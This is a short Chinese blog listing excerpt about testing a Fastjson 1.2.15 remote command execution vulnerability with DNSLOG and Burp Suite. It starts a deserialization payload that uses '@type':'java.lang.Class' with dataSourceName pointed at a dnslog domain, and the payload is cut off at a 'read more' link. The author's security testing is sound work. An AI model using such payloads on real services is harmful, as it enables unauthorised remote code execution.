2020年8月4日
利用DNSLOG测试Fastjson远程命令执行漏洞
摘要： 由于内容比较简单，我直接贴图，怕我自己忘了。 测试Fastjson版本号：1.2.15 直接发送用burpsuite发送payload，将dataSourceName改成dnslog获取到的域名。 payload： { "a":{ "@type":"java.lang.Class", "val":" 阅读全文
posted @ 2020-08-04 12:01 怪盗积德 阅读(2846) 评论(0) 推荐(0) 编辑